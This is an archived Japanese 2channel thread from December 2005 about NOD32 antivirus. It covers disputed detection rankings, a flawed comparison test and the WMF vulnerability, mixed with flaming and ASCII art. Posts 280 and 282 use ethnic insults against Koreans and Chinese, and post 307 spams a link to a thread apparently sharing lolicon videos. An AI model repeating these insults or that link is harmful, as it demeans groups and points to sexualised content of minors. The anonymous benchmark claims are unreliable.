書庫と一口に言っても色々な種類がある、圧縮されてはいるがそのまま実行可能な書庫はアンチウィルスソフトに
とって脅威そのもの、NOD32が優秀なのはこの脅威を高度な技術で対応しているから。
本編に登場するライターは、自身の比較試験でNOD32は役立たずと断言した。
その結末は如何に？
尚、投稿者の殆どが技術者や比較試験サイト運営者である。
いわゆる、事情通である。
236:名無しさん＠お腹いっぱい。
05/12/29 15:35:07
ｽﾚﾘﾝｸ(sec板)
ネット関係 [セキュリティ] “NOD32アンチウィルス Part25”
493 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/07(水) 17:50:25
最高に面白い読み物を紹介。
全ての始まりはこの記事。
> URLﾘﾝｸ(files.malwareblog.com)
この記事を書いたライター(本編ではハンドルネーム=IlyaOS)
アンチウィルスソフトの開封性能比較（本編）
> URLﾘﾝｸ(www.wilderssecurity.com)
書庫と一口に言っても色々な種類がある、圧縮されてはいるがそのまま実行可能な書庫はアンチウィルスソフトに
とって脅威そのもの、NOD32が優秀なのはこの脅威を高度な技術で対応しているから。
本編に登場するライターは、自身の比較試験でNOD32は役立たずと断言した。
その結末は如何に？
尚、投稿者の殆どが技術者や比較試験サイト運営者である。
いわゆる、事情通である。
495 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/07(水) 19:34:26
>>493
海外でもアンチがいて、捏造データつくって釣りしてるんだな。
アカBANされてるのがｳｹﾙｗ
237:235
05/12/29 15:41:09
pdfが無くなっているな。
かわりに、その記事を扱っているサイトのURL張っとくよ。
このライターは、その記事を書いているとき本気でNOD32はダメダメだと思っていて、
「計測結果に間違いはなく、測定者もIBMの技術者が行っているから正確だ」と言っていた。
ところが、その技術者もアンチウィルスについてはド素人だし、ライターもド素人。
結局、NOD32の測定では、UPX圧縮書庫類を全て検知しないモードでテストしていたことが本編で明らかになる。
間違った測定結果を掲げて堂々とNOD32を批難していたわけだ。
もう、笑うしかない。
> URLﾘﾝｸ(www.anti-malware.ru)
238:名無しさん＠お腹いっぱい。
05/12/29 15:43:49
結局NODは性能的にはお薦めということでいいんだよね？
239:名無しさん＠お腹いっぱい。
05/12/29 15:48:37
>>238
テンプレ >>4-5 みりゃ分かるだろ？
基本性能で最高なのがNOD32、他のいかなるアンチウィルスソフトも基本性能ではNOD32に敵わない。
これは事実であり、専門家もそれを認めている。
240:名無しさん＠お腹いっぱい。
05/12/29 15:52:31
なかなか褒め殺しが成功しませんね。
241:名無しさん＠お腹いっぱい。
05/12/29 15:53:22
事実だから褒め殺しになっていないわなw
242:名無しさん＠お腹いっぱい。
05/12/29 15:57:29
評価基準を基本性能以外に求めるとNOD32は必ずしも最高とは言えなくなる。
基本性能以外の評価基準として
1)素人に扱い易い
2)対応書庫の多さ
3)価格
4)デザイン
5)付加機能の充実
これ等を加味すると、各自の好みにより評価は割れる。
243:名無しさん＠お腹いっぱい。
05/12/29 16:00:28
160 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/29(木) 01:26:35
【使用OS】winXPproSP2
【WindowsUpdateしてるか】最新
【AntiVirusは何を使っているか】NOD32
【ちゃんとUpdateしてるか】してます
【スキャンした結果（ウイルス名・発見場所）】なしとでたけど、下のがロックされてるみたい。
C:\pagefile.sys - ファイルを開く時にエラーが発生しました (ファイルはロックされています) [4]
C:\WINDOWS\system32\drivers\dtscsi.sys
C:\WINDOWS\system32\drivers\sptd.sys
C:\WINDOWS\system32\drivers\sptd4685.sys
【別のオンラインスキャンしたならその結果は】してない。
【症状を具体的に、分かる限りすべて書く】
デスクトップにあるフォルダにあるアプリケーションの実行ファイルが勝手に消えている。
Program Filesの中のは消えてないみたい
【何をしたらそんなことになったのか】
気づいたら、実行ファイルが消えてて気のせいだと思っていたけど、
確認したら、いくつも消えていて、入れなおしたファイルも消えてたから、
これはウイルスかなと思い、聞いてみました。
【これまでにとった措置】
どうすればいいかわからないので、別に何もしてないけど・・・心配。
NOD入れてても無駄でしたwww
244:名無しさん＠お腹いっぱい。
05/12/29 16:02:12
トロイに対する検出力評価
1位 AhnLab V3 Pro
2位 Webroot
3位 LANDesk
4位 Sunbelt
5位 SurfControl
6位 McAfee
7位 Trend Micro
8位 eTrust
9位 NOD32 v2.5
245:名無しさん＠お腹いっぱい。
05/12/29 16:03:39
>>244
それどこの試験結果？
検体や試験方法に問題があるのだろうな。
246:名無しさん＠お腹いっぱい。
05/12/29 16:09:40
トロイに対する検出力評価で比較的に信頼できる結果。
NOD32はインストーラ型をオンデマンドでは検知しない(オンアクセスで検知する)から、若干不利な結果に
なってはいるが、>>244よりずっと良い成績が残っている。
> URLﾘﾝｸ(www.av-comparatives.org)
247:名無しさん＠お腹いっぱい。
05/12/29 16:18:00
>>246
不自然なほど急にミスが減ってるね。
248:名無しさん＠お腹いっぱい。
05/12/29 16:20:53
ＮＯＤ32買おうと思ったけど1位 AhnLab V3 Pro 買うわ
これ本当？
249:名無しさん＠お腹いっぱい。
05/12/29 16:22:58
>>244
NOD[が、トップでないとおかしいだろ
データの改竄決定 ！
250:名無しさん＠お腹いっぱい。
05/12/29 16:24:23
>>248
安哲秀研究所（韓国）
251:名無しさん＠お腹いっぱい。
05/12/29 16:24:45
トップ１０って点数で言うと９０点以上とかのハイレベルな争いなの？
252:名無しさん＠お腹いっぱい。
05/12/29 16:28:49
>>250
それ???研究所って読むの？
253:名無しさん＠お腹いっぱい。
05/12/29 16:39:59
>>251
なんか教授の好みってかんじの意味不明な争いだよ
254:名無しさん＠お腹いっぱい。
05/12/29 16:53:10
NOD32定義ファイル: 1.1342 (20051228)
Win32/TrojanDownloader.Wmfex
今回の脆弱性にも早速対応してるんだな。
やはりNODを購入して正解だったな。
255:名無しさん＠お腹いっぱい。
05/12/29 17:08:44
別にNODが特別早かったわけでもないのにｗｗｗｗｗｗｗｗｗｗｗｗｗ
256:名無しさん＠お腹いっぱい。
05/12/29 17:12:31
つっこみに無理が生じてますね。
257:名無しさん＠お腹いっぱい。
05/12/29 17:35:37
NODを購入して正解だったとか書き込みの内容が気持ち悪いんだよ
意図がわかんねえし
258:名無しさん＠お腹いっぱい。
05/12/29 17:37:02
>>257
きんもー☆
259:名無しさん＠お腹いっぱい。
05/12/29 17:39:22
>>257
きんもーっ☆
260:名無しさん＠お腹いっぱい。
05/12/29 17:42:41
アンチＮＯＤの人は、ＮＯＤ信者だけが問題で、ＮＯＤ自身は他の有名
ソフトと比べて悪くはないという考えでつか？
261:名無しさん＠お腹いっぱい。
05/12/29 17:44:38
>>259
お前自分がキモイって自覚した方がいいよ。
262:名無しさん＠お腹いっぱい。
05/12/29 17:45:42
>>261
きんもーっ☆
263:名無しさん＠お腹いっぱい。
05/12/29 17:46:15
>>263
きんもーっ☆
264:名無しさん＠お腹いっぱい。
05/12/29 17:46:20
きんもーっ☆
265:名無しさん＠お腹いっぱい。
05/12/29 17:46:47
>>260
信者以外に単に頭のおかしい人もいるけどね。
ソフトが悪いとかはないだろう、さすがに。
266:名無しさん＠お腹いっぱい。
05/12/29 17:47:09
すももーっ☆
267:名無しさん＠お腹いっぱい。
05/12/29 17:47:48
>>267
すっげーきんもーっ☆
268:名無しさん＠お腹いっぱい。
05/12/29 17:48:36
NOD買わない奴は徐々に禿げてくるよ。
269:名無しさん＠お腹いっぱい。
05/12/29 17:48:41
まりもーっ☆
270:名無しさん＠お腹いっぱい。
05/12/29 17:52:11
別に買わなくても使えるけどね。
271:名無しさん＠お腹いっぱい。
05/12/29 17:55:11
アンチと信者はじゃれあって遊んでるだけだろ
272:名無しさん＠お腹いっぱい。
05/12/29 18:09:04
88 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/12/28(水) 04:05:14 ID:9DRHWQiY0
ちょっとやばいソフト
>NOD32 主なトラブル履歴
>
>2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
>URLﾘﾝｸ(canon-sol.jp)
>レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
>登録済みのアプリケーションが強制削除される問題
>URLﾘﾝｸ(canon-sol.jp)
>通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
>URLﾘﾝｸ(canon-sol.jp)
>スキャンすると受信メールの全部が削除される問題
>URLﾘﾝｸ(canon-sol.jp)
>プリンタとの相性で印刷不能になる問題。
>URLﾘﾝｸ(canon-sol.jp)
>Windowsアップデートができなくなる問題
>URLﾘﾝｸ(canon-sol.jp)
90 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：2005/12/28(水) 06:35:33 ID:4wL+LObB0
>>88
ソフト自体がウィルスだね。
某社工作員による書き込み
273:名無しさん＠お腹いっぱい。
05/12/29 18:12:52
NODはほんと良く出来てるから某社社員は気が気じゃないんだよね
274:名無しさん＠お腹いっぱい。
05/12/29 18:27:19
ＮＯＤって、アメリカだとシェア何位？
275:名無しさん＠お腹いっぱい。
05/12/29 18:39:59
>>247
> 不自然なほど急にミスが減ってるね。
IBKが必死に検体のクリーン化を実施した結果だよ。
検体総数が増えているのは新しい検体が増えていることによる。
つまり古い結果でKasperskyだけが凄く良い成績であったのは、過去に無害なゴミに対してシグネチャを作り
そのことでゴミがウィルスと認定され集めた検体に紛れ込んでいたってことな。
IBKの話だと、まだまだゴミが紛れているらしい。
276:名無しさん＠お腹いっぱい。
05/12/29 18:46:41
NODかわいいよNOD
277:名無しさん＠お腹いっぱい。
05/12/29 18:59:14
どの辺がでつか？
278:名無しさん＠お腹いっぱい。
05/12/29 19:00:59
NODがトラブルもなく安定してるから、質問者もなく来るのは嵐だけ。
先生スレとは大違い。
279:名無しさん＠お腹いっぱい。
05/12/29 19:01:43
目かな？
あと、ド素人がいい加減に設定値を弄ると痛い目に合うところなんて最高。
280:名無しさん＠お腹いっぱい。
05/12/29 19:19:09
＞いい加減に設定値を弄ると痛い目に合うところなんて
そんな話どこで聞いた？でっちあげするヤツは朝鮮人と同類
281:名無しさん＠お腹いっぱい。
05/12/29 19:47:49
AMONオフにするくらいしか痛い目に遭う設定が思い浮かばないんだが
そんなのNAVでもいっしょじゃん
批判するのはいいけど適当な事言うな
282:名無しさん＠お腹いっぱい。
05/12/29 19:56:50
>>279は中華人だろ
283:名無しさん＠お腹いっぱい。
05/12/29 20:00:52
旧御三家（過去の栄光）
マカフィー
ノー豚
バスター
新御三家
NOD32
キングソフト
ウイルスキラー（北斗とキティーのみ。無印は非対象）
アンチウイルス・マニア派（チョイ拘りすぎる奴ら）
カスペルスキー
284:名無しさん＠お腹いっぱい。
05/12/29 20:05:25
>>283
新の選定理由は？
285:名無しさん＠お腹いっぱい。
05/12/29 20:06:28
regf3qgt54rt54g
286:ミズノ アキヒロ
05/12/29 20:10:25
>>283
そんなとこだろ。おｋ－。
287:名無しさん＠お腹いっぱい。
05/12/29 20:12:02
>>285
何それ？何のコード？
288:名無しさん＠お腹いっぱい。
05/12/29 20:38:50
アンチウィルス・アンチスパイ・ＦＷの最強の組み合わせは？
289:名無しさん＠お腹いっぱい。
05/12/29 20:44:32
F-Secure ＋ Kerio
290:名無しさん＠お腹いっぱい。
05/12/29 20:52:42
NOD32 +Ad-Aware SE、Spybot、SpywareBlaster +ZoneAlarm、が最強。
ZAが重く感じるようならそれはマシン買い替えのシグナル。
291:名無しさん＠お腹いっぱい。
05/12/29 21:01:14
機能的にZA如きが最強か？
OutpostPROの方が上な様な。
292:名無しさん＠お腹いっぱい。
05/12/29 21:04:54
>>288
nod pp zapro
293:名無しさん＠お腹いっぱい。
05/12/29 21:16:20
ありがとう
294:名無しさん＠お腹いっぱい。
05/12/29 21:26:11
IMON ファイル URLﾘﾝｸ(kikuz0u.x0.com) Win32/TrojanDownloader.Wmfex トロイ 切断されました
NOD32定義ファイル: 1.1342 (20051228)
Win32/TrojanDownloader.Wmfex
295:名無しさん＠お腹いっぱい。
05/12/29 21:29:32
さすが。頼もしい味方だ
296:名無しさん＠お腹いっぱい。
05/12/29 21:46:23
ヒューリテッィクの機能はnodとカスペどっちが上なの？？
297:名無しさん＠お腹いっぱい。
05/12/29 21:47:00
そんなにええのか。
298:名無しさん＠お腹いっぱい。
05/12/29 21:52:14
>>296
おちつけ。
299:名無しさん＠お腹いっぱい。
05/12/29 21:58:05
>>296
比べてやるな。
300:名無しさん＠お腹いっぱい。
05/12/29 22:02:35
相変わらずあれてんなぁｗ
もっとスパイウェア対策を強化しろや。
301:名無しさん＠お腹いっぱい。
05/12/29 22:19:11
>>300
そんなあなたに、ＰＰ
302:名無しさん＠お腹いっぱい。
05/12/29 22:26:32
>>301
polypropylene ?
ま、車のバンパーなんかに使われてる汎用樹脂だけど
特別な機能はなかったんじゃないかなぁ。。。
あと、銅を接触させたらあかんで
銅害って言って劣化が加速されるから
303:名無しさん＠お腹いっぱい。
05/12/29 22:30:14
183ってIEオプションを高にしてると関係ないの？
304:名無しさん＠お腹いっぱい。
05/12/29 22:34:55
>>302
大人をからかっちゃいけないよ。
じゃあ、おらあ、また旅に出るからね。
おっと、そうだ。
このサイフとっとけ。いいって、遠慮はいらねーよ。
中身見たら、あまりの額に目まわしてビックル飲みまくらねーでおくれよ。
305:名無しさん＠お腹いっぱい。
05/12/29 22:36:19
>>303
関係ある
306:名無しさん＠お腹いっぱい。
05/12/29 22:37:06
>>304
子供銀行券が入ってたお
307:名無しさん＠お腹いっぱい。
05/12/29 23:10:50
ﾏﾀｰﾘと炉動画をうｐするスレ 36タリー
ｽﾚﾘﾝｸ(ascii板)
ただいまうｐ野郎降臨中
レス番778～
急げ！
↑↑↑
さあ、あなたの行きつけのスレに貼りにいってください。
308:名無しさん＠お腹いっぱい。
05/12/30 01:37:59
トロイに対する検出力評価
1位 AhnLab V3 Pro
2位 Webroot
3位 LANDesk
4位 Sunbelt
5位 SurfControl
6位 McAfee
7位 Trend Micro
8位 eTrust
9位 NOD32 v2.5
309:名無しさん＠お腹いっぱい。
05/12/30 02:16:19
>>243
それウィルスの感染を疑う以前の問題だと思う。
310:名無しさん＠お腹いっぱい。
05/12/30 02:27:51
いわゆるネタにマジレスだと思う
311:名無しさん＠お腹いっぱい。
05/12/30 11:18:00
>>308
トップ10入りか。バランスとれまくってるね。
312:名無しさん＠お腹いっぱい。
05/12/30 15:27:41
というか、Webrootが2位であることを見てもトロイに対する検出性能ではなく、スパイウェアのそれだろ。
NOD32がアンチウィルスに特化していることと、オンデマンドでの検出で不利なことを加味すれば9位は
良い結果と言えるな。
313:名無しさん＠お腹いっぱい。
05/12/30 15:39:10
別に良くはないだろ・・・
314:名無しさん＠お腹いっぱい。
05/12/30 15:46:46
NOD32のホームページ見れば分かるとおり、アンチウィルスに特化したソフトじゃないだろ。
Real-time protection against viruses, spyware, adware, and identity theft.
315:名無しさん＠お腹いっぱい。
05/12/30 15:50:14
V3がトップに来るような評価は信憑性低いからどうでもいいよ
316:名無しさん＠お腹いっぱい。
05/12/30 15:52:20
スパイウェアに対応したアンチウィルスソフトというのが適切な表現だろ。
スパイウェア専門のソフトとの違いは過敏ではないこと。
些細なものは感知しない。
些細なものまで感知する必要があるのなら専門ソフトとの併用をお薦めするよ。
317:名無しさん＠お腹いっぱい。
05/12/30 16:24:10
死死死死死▼死死死死死死死死▼▼▼鬱死死死死死死死死
死死死死死■■▼鬱死死死死死▼■▼鬱死死死死死死死死
死死死死▼■■鬱死死死死死死■■▼鬱死死死死死死死死
死死死▼■■▼鬱死死死死死▼■■▼▼▼▼■■▼鬱鬱死
死死死■■■鬱鬱▼▼死死死▼■■■■■■■■■▼鬱死
死▼▼■■▼鬱▼■■▼鬱▼■■▼▼▼▼▼■■■鬱鬱死
▼■■■■▼▼■■▼鬱鬱▼■■■鬱鬱鬱▼■■▼鬱死死
▼■■■■▼▼■▼鬱鬱▼■■▼■▼死▼■■■鬱鬱死死
死▼■■■■■■▼鬱▼■■▼▼■■▼■■■▼鬱死死死
死死▼■■■■▼▼鬱▼■▼鬱鬱▼■■■■▼鬱鬱死死死
死死死▼■■▼▼■▼鬱▼鬱死死鬱▼■■■鬱鬱死死死死
死死死▼■■鬱鬱■■▼鬱死死死死▼■■▼▼鬱死死死死
▼▼▼■■■▼■■■■▼死死▼▼■■■■■▼鬱鬱鬱死
■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼
■■▼▼▼■■鬱鬱▼▼■■■■▼▼鬱鬱▼■■■■■▼
▼▼▼鬱鬱■■鬱▼▼▼■■■▼▼■▼▼▼▼■■■■▼
鬱■■■▼■■▼■■▼■■▼鬱▼■■■■▼▼▼▼▼鬱
死■■■▼■■▼■■▼▼▼鬱鬱▼■■■■■■▼鬱鬱鬱
死■■■▼■■鬱▼■■鬱鬱鬱死鬱▼▼■■■■▼鬱死死
▼■■■鬱■■鬱▼■■▼鬱死▼鬱鬱鬱▼■■▼鬱鬱死死
▼■■■鬱■■鬱死■■▼鬱▼■■▼▼▼鬱鬱鬱鬱死死死
▼■■▼鬱■■鬱死■■▼鬱▼■■■■■▼▼鬱鬱鬱鬱死
▼■■▼鬱■■鬱死▼▼鬱鬱▼■■■■■■■■▼▼鬱死
▼■■▼鬱■■鬱死鬱鬱鬱鬱鬱▼▼■■■■■■■▼鬱死
死鬱鬱鬱鬱■■鬱死死死死死鬱鬱鬱鬱▼■■■■■▼鬱死
死死死死死■■鬱死死死死死死死死鬱鬱鬱▼▼▼▼鬱鬱死
318:名無しさん＠お腹いっぱい。
05/12/30 16:24:35
本当に都合のいい解釈だなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
319:名無しさん＠お腹いっぱい。
05/12/30 16:31:15
都合が良いのではなく、節度があると言ってくれ。
スパイウェア専門ソフトの多くが、検出力で顧客を釣るような商売をしている。
クッキーを仕掛けて訪問者の趣向分析を行うだけでスパイ扱いされたり、広告収入で運営されている
フリーソフトを無断で広告したとの理由でスパイ認定。
過敏というより、詐欺に近い実態がその分野の専門ソフトには存在する。
よく確かめもせず、単に反応した数で優劣を決めるのは関心しないな。
NOD32が9位でよかったよ。
320:名無しさん＠お腹いっぱい。
05/12/30 16:40:07
|￣￣￣￣￣￣￣￣￣|
| ここでスルー！！ |
|＿＿＿＿＿＿＿＿＿|
∧∧ ||
( ﾟдﾟ)||
/ づΦ
321:名無しさん＠お腹いっぱい。
05/12/30 16:41:03
319が4で数で決めている件
322:名無しさん＠お腹いっぱい。
05/12/30 16:41:25
URLﾘﾝｸ(www.st.ryukoku.ac.jp)
NOD32 の場合、AMON （これは、いわゆるリアルタイムのチェックを行なうモジュールです）の
チェック対象に既定では WMF ファイルは含まれないようです。
つまり、NOD32 の場合、ウィルス定義ファイル1.1342 (20051228) でトロイとして
検知されるようにはなったものの、これだけでは不十分かもしれないかもしれないと思っています。
NODダサwww
323:名無しさん＠お腹いっぱい。
05/12/30 16:42:50
ヽ(●´ω｀●)ﾉ
324:名無しさん＠お腹いっぱい。
05/12/30 16:43:51
__ , ─── ､__
, - ':::::::::::::::::::::::::::::::::::::::::::::::::::＼
／ ；;;;;;;:::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;;＼
/,,；,,,,, ；;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;； ,,,,,,,,；::::::丶
/ :::::::::;；,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,；:::::::::::::::::::ヽ
iﾞ:::;:::::||::::::,!i:::::::::::,|i::::::::::::::::::;:::::::::::::::::::::::::::::::ﾞi
iﾞ::::|;;;;| |;;;;;| |::::::::::| |:::::::::::::::::||::::::::::::::::::::::::::::::::|
. iﾞ::::::i ''''''''''' '──' |;;;;;;;;;;;;::::::::::::::::::::|
.|:::::::|,-====-´ ﾞヽ,,,,,,,,,,,,,、 |:::::::::::::::::::|
|;::::::::|,-─､ ~ニニ,,_` |:::::::::::::::::::|
｀ヽ､i (､i´ﾉ ´い,, ﾉ ' |;;;::::::::::::::/ なんで、NODすぐ死んでしまうん？
. i ^~~~ー==─ ー'-+､ /^ﾞ-､;;;;/
{ ヽゝ '-'~ノ
λ ''ﾞﾞ''-''-─､ /-'^"
ヽ,_ ^~^ (
／｀''丶､ , - /^l
/ ／( ﾉ ｀'''''''´~ ＿, - ' ~ ﾞi､
{ / ／|￣￣￣￣ _,-'^¨ }
{／ / ﾞー──'~ ＼|
/ ヽ ＼
325:名無しさん＠お腹いっぱい。
05/12/30 16:44:07
>>319
激しく胴着。
昨日追加などでどのソフトも建て増しが目立つ
傾向はしかたがないとしても、アンチウイルスなら
アンチウイルスで特化してリードしていってほしいね
326:名無しさん＠お腹いっぱい。
05/12/30 16:44:23
＿＿＿_∧∧
～' ＿＿_(´･ω･`)
ＵU Ｕ U
327:名無しさん＠お腹いっぱい。
05/12/30 16:45:18
盛 り 上 が
っ
て
ま
い
り
ま
し
た
！
328:名無しさん＠お腹いっぱい。
05/12/30 16:46:35
梶田の活性が上がってるな
329:名無しさん＠お腹いっぱい。
05/12/30 16:49:31
m9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
330:名無しさん＠お腹いっぱい。
05/12/30 16:49:48
>>322
AMONにWMFを追加しろって書いてあるけど全ての拡張子で設定してあるのが
デフォじゃない？
追加しても意味がなさそうだけど。
331:名無しさん＠お腹いっぱい。
05/12/30 16:53:19
見事に荒らされてるねぇ……
332:名無しさん＠お腹いっぱい。
05/12/30 16:53:47
>>319
本当に節度がある解釈だなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
333:名無しさん＠お腹いっぱい。
05/12/30 16:56:21
>>319
>NOD32が9位でよかったよ。
この締めの言葉の意味が毎回わかんねんだよ。
何がいいんだよ。
334:名無しさん＠お腹いっぱい。
05/12/30 16:56:31
まあ煽りが多いってことはそれだけ注目されてる証拠だから。
良くも悪くもNODってのは人を魅了してやまない。
こんなアンチウイルスソフトが他にあるだろうか。
NOD32ユーザーであることを誇りに思う。
335:名無しさん＠お腹いっぱい。
05/12/30 16:57:04
■■■■■■■■■■■■ 終了 ■■■■■■■■■■■■
336:名無しさん＠お腹いっぱい。
05/12/30 16:57:09
梶田がいなきゃいいソフトなんだろうけどね。
337:名無しさん＠お腹いっぱい。
05/12/30 16:57:44
>>333
雑音を理解するのは無理。
338:名無しさん＠お腹いっぱい。
05/12/30 17:00:00
アンチスパイの誤検出を抑えるべきであって検出率が低いのが正解ってのはまちがい
339:192
05/12/30 17:02:24
regsvr32 -u %windir%\system32\shimgvw.dll
これで右クリックとかマウスポップアップのは平気になったけど
IfanViewでJpgとかに拡張子変えたものを読み込ませても実行される。
MSが対応したとしてもWMFに対応したアプリ側でも対策されないとだめかも。
しばらくはWMF対応アプリを全部使用不可にさせとくか
AMONの設定を全ファイル検査にするとかで防ぐしかないのかも。
IfanViewに使い勝手似てるビューワでLaView以外になんかいいの知ってる人いたら教えてｗ
340:名無しさん＠お腹いっぱい。
05/12/30 17:08:49
誰が本当のバカなのかは一目瞭然だな
341:名無しさん＠お腹いっぱい。
05/12/30 17:10:34
∧＿∧ ｸﾜｯ!
∩｀iWi´∩
ヽ |m| .ノ
｜.￣｜
Ｕ⌒Ｕ
342:名無しさん＠お腹いっぱい。
05/12/30 17:11:18
(⌒⌒)
∧_ ∧ （ ブッ ）
( ・ω・` ) ノノ～′
（⊃⌒*⌒⊂)
/__ノωヽ__）
343:名無しさん＠お腹いっぱい。
05/12/30 17:11:52
全ファイル検査にしたら重くなるかと思ったけど全然軽いな
344:名無しさん＠お腹いっぱい。
05/12/30 17:14:18
>>340
だな。さすがに9位でよかったが一番バカだろ。
結果自体を気にしないとかアンチスパイではないからどうでもいいとか言い方は色々あるが
9位で”よかった”だからな。良いんだもんな。バカとしか言いようがない。
345:名無しさん＠お腹いっぱい。
05/12/30 17:59:47
比喩という言葉を知らんのか低能？
346:名無しさん＠お腹いっぱい。
05/12/30 18:02:35
／ ／＼ ＼ ＼
／ ／ ／ ＼ ＼
／ ／ ／ ＼ ＼
／ ／ ／ ／￣＼ ／￣＼ ＼ ＼
/ /＼／ | |＼ | |＼ / /＼
/ / / ＼＿／＼| ＿＿＿＿＿＿＿＿__ ＼＿／＼| / / /
/ / / ＼＼／ /＿ ＿＿＿_ ＿/＼ ＼＼／ / / /
/ / / ￣ ＼/ /＼＿___/ /＼＼/ ￣ / / /
/ / / / / / / / /￣ / / /
/ / / / / / / / / / / /
/__/__/ / / / / / / /＿/__/
＼ ＼＼ ／ ／／＿_/ /___/ ／ ／／
＼ ＼＼ / ＿￣￣＿＿__ /＼ ／ ／／
＼ ＼＼ /__/ /￣￣ /__/ / ／ ／／
＼ ＼| ＼＼/ ＼＼/ ＼／／ ハァ？
347:名無しさん＠お腹いっぱい。
05/12/30 18:03:56
> NOD32 の場合、AMON （これは、いわゆるリアルタイムのチェックを行なうモジュールです）の
> チェック対象に既定では WMF ファイルは含まれないようです。
WMFは実行ファイルでもなければ、インタープリタの実行ソースでもない。
MSのコンポーネントのバグが原因で間違って実行ソース扱いをしてしまい、その結果オーバーラン現象を引き起こし
脆弱性を晒しているだけだ。
Eset社では、その脆弱性を利用するコードを検知するシグネチャを1.1342でリリース済みだから、それだけでWMFの脆弱性は
完全に防いでいる。
無知でない限り、WMFを調査対象にしろという奴はいないよ。
348:名無しさん＠お腹いっぱい。
05/12/30 18:09:03
実際防がれてるんだからどうでもいいよね？
349:名無しさん＠お腹いっぱい。
05/12/30 18:10:23
>>330
> AMONにWMFを追加しろって書いてあるけど全ての拡張子で設定してあるのが
> デフォじゃない？
デフォルト値では、登録済みの拡張子だけを対象としている。
WMFについては>>347
350:名無しさん＠お腹いっぱい。
05/12/30 18:11:10
ログ流しだろうかw
351:名無しさん＠お腹いっぱい。
05/12/30 18:14:13
>>345
はぁ？ 「9位でよかった」が比喩？ 馬鹿さが突き抜けてるな。
352:名無しさん＠お腹いっぱい。
05/12/30 18:14:19
つか自演だろ....
冬だねえ
353:名無しさん＠お腹いっぱい。
05/12/30 18:14:50
＼＿＿＿＿＿＿ ＿＿＿＿＿＿＿＿＿＿＿＿＿＿
○
Ｏ ﾓﾜﾓﾜ
∧∧ ！ ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣
＿＿_(；ﾟДﾟ)_＿＿ ＜ 夢かっ・・・！！
| 〃( つ つ | ＼＿＿＿＿＿＿＿＿
|＼ ⌒⌒⌒⌒⌒⌒＼
＼＿＿＿＿＿＿ ＿＿＿＿＿＿＿＿＿＿＿＿＿＿
○
Ｏ ﾓﾜﾓﾜ
∧∧ ！ ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣
＿＿_(；ﾟДﾟ)_＿＿ ＜ っていう夢かっ・・・！！
| 〃( つ つ | ＼＿＿＿＿＿＿＿＿＿
|＼ ⌒⌒⌒⌒⌒⌒＼
＼＿＿＿＿＿＿ ＿＿＿＿＿＿＿＿＿＿＿＿＿＿
○
Ｏ ﾓﾜﾓﾜ
∧∧ ！ ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣￣￣￣￣￣
＿＿_(；ﾟДﾟ)_＿＿ ＜ 今度こそ夢だったのかっ・・・！！
| 〃( つ つ | ＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿
|＼ ⌒⌒⌒⌒⌒⌒＼